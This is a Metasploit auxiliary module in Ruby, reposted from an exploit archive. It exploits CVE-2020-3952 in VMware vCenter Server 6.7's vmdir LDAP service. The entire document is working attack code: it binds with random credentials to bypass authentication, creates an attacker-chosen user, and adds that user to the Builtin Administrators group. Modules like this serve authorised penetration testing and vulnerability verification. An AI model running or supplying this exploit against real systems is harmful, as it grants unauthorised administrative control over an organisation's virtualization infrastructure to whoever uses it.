## https://sploitus.com/exploit?id=PACKETSTORM:180774
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
include Msf::Exploit::Remote::CheckModule
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server vmdir Authentication Bypass',
'Description' => %q{
This module bypasses LDAP authentication in VMware vCenter Server's
vmdir service to add an arbitrary administrator user. Version 6.7
prior to the 6.7U3f update is vulnerable, only if upgraded from a
previous release line, such as 6.0 or 6.5.
Note that it is also possible to provide a bind username and password
to authenticate if the target is not vulnerable. It will add an
arbitrary administrator user the same way.
},
'Author' => [
'Hynek Petrak', # Discovery
'JJ Lehmann', # Analysis and PoC
'Ofri Ziv', # Analysis and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html'],
['URL', 'https://github.com/HynekPetrak/HynekPetrak/blob/master/take_over_vcenter_670.md']
],
'DisclosureDate' => '2020-04-09', # Vendor advisory
'License' => MSF_LICENSE,
'Actions' => [
['Add', { 'Description' => 'Add an admin user' }]
],
'DefaultAction' => 'Add',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636, # SSL/TLS
'CheckModule' => 'auxiliary/gather/vmware_vcenter_vmdir_ldap'
},
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
'Reliability' => []
}
)
)
register_options([
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('NEW_USERNAME', [true, 'Username of admin user to add']),
OptString.new('NEW_PASSWORD', [true, 'Password of admin user to add'])
])
end
def new_username
datastore['NEW_USERNAME']
end
def new_password
datastore['NEW_PASSWORD']
end
def base_dn
@base_dn ||= 'dc=vsphere,dc=local'
end
def user_dn
"cn=#{new_username},cn=Users,#{base_dn}"
end
def group_dn
"cn=Administrators,cn=Builtin,#{base_dn}"
end
def run
unless new_username && new_password
print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')
return
end
# NOTE: check is provided by auxiliary/gather/vmware_vcenter_vmdir_ldap
checkcode = check
return unless checkcode == Exploit::CheckCode::Vulnerable
if (@base_dn = datastore['BASE_DN'])
print_status("User-specified base DN: #{base_dn}")
else
# HACK: We stashed the detected base DN in the CheckCode's reason
@base_dn = checkcode.reason
end
ldap_connect do |ldap|
print_status("Bypassing LDAP auth in vmdir service at #{ldap.peerinfo}")
auth_bypass(ldap)
print_status("Adding admin user #{new_username} with password #{new_password}")
unless add_admin(ldap)
print_error("Failed to add admin user #{new_username}")
end
end
rescue Net::LDAP::Error => e
print_error("#{e.class}: #{e.message}")
end
# This will always return false, since the creds are invalid
def auth_bypass(ldap)
# when datastore['BIND_DN'] has been provided in options,
# ldap_connect has already made a bind for us.
return if datastore['USERNAME'] && ldap.bind
ldap.bind(
method: :simple,
username: Rex::Text.rand_text_alphanumeric(8..42),
password: Rex::Text.rand_text_alphanumeric(8..42)
)
end
def add_admin(ldap)
user_info = {
'objectClass' => %w[top person organizationalPerson user],
'cn' => new_username,
'sn' => 'vsphere.local',
'givenName' => new_username,
'sAMAccountName' => new_username,
'userPrincipalName' => "#{new_username}@VSPHERE.LOCAL",
'uid' => new_username,
'userPassword' => new_password
}
# Add our new user
unless ldap.add(dn: user_dn, attributes: user_info)
res = ldap.get_operation_result
case res.code
when Net::LDAP::ResultCodeInsufficientAccessRights
print_error('Failed to bypass LDAP auth in vmdir service')
when Net::LDAP::ResultCodeEntryAlreadyExists
print_error("User #{new_username} already exists")
when Net::LDAP::ResultCodeConstraintViolation
print_error("Password #{new_password} does not meet policy requirements")
else
print_error("#{res.message}: #{res.error_message}")
end
return false
end
print_good("Added user #{new_username}, so auth bypass was successful!")
# Add our user to the admin group
unless ldap.add_attribute(group_dn, 'member', user_dn)
res = ldap.get_operation_result
if res.code == Net::LDAP::ResultCodeAttributeOrValueExists
print_error("User #{new_username} is already an admin")
else
print_error("#{res.message}: #{res.error_message}")
end
return false
end
print_good("Added user #{new_username} to admin group")
true
end
end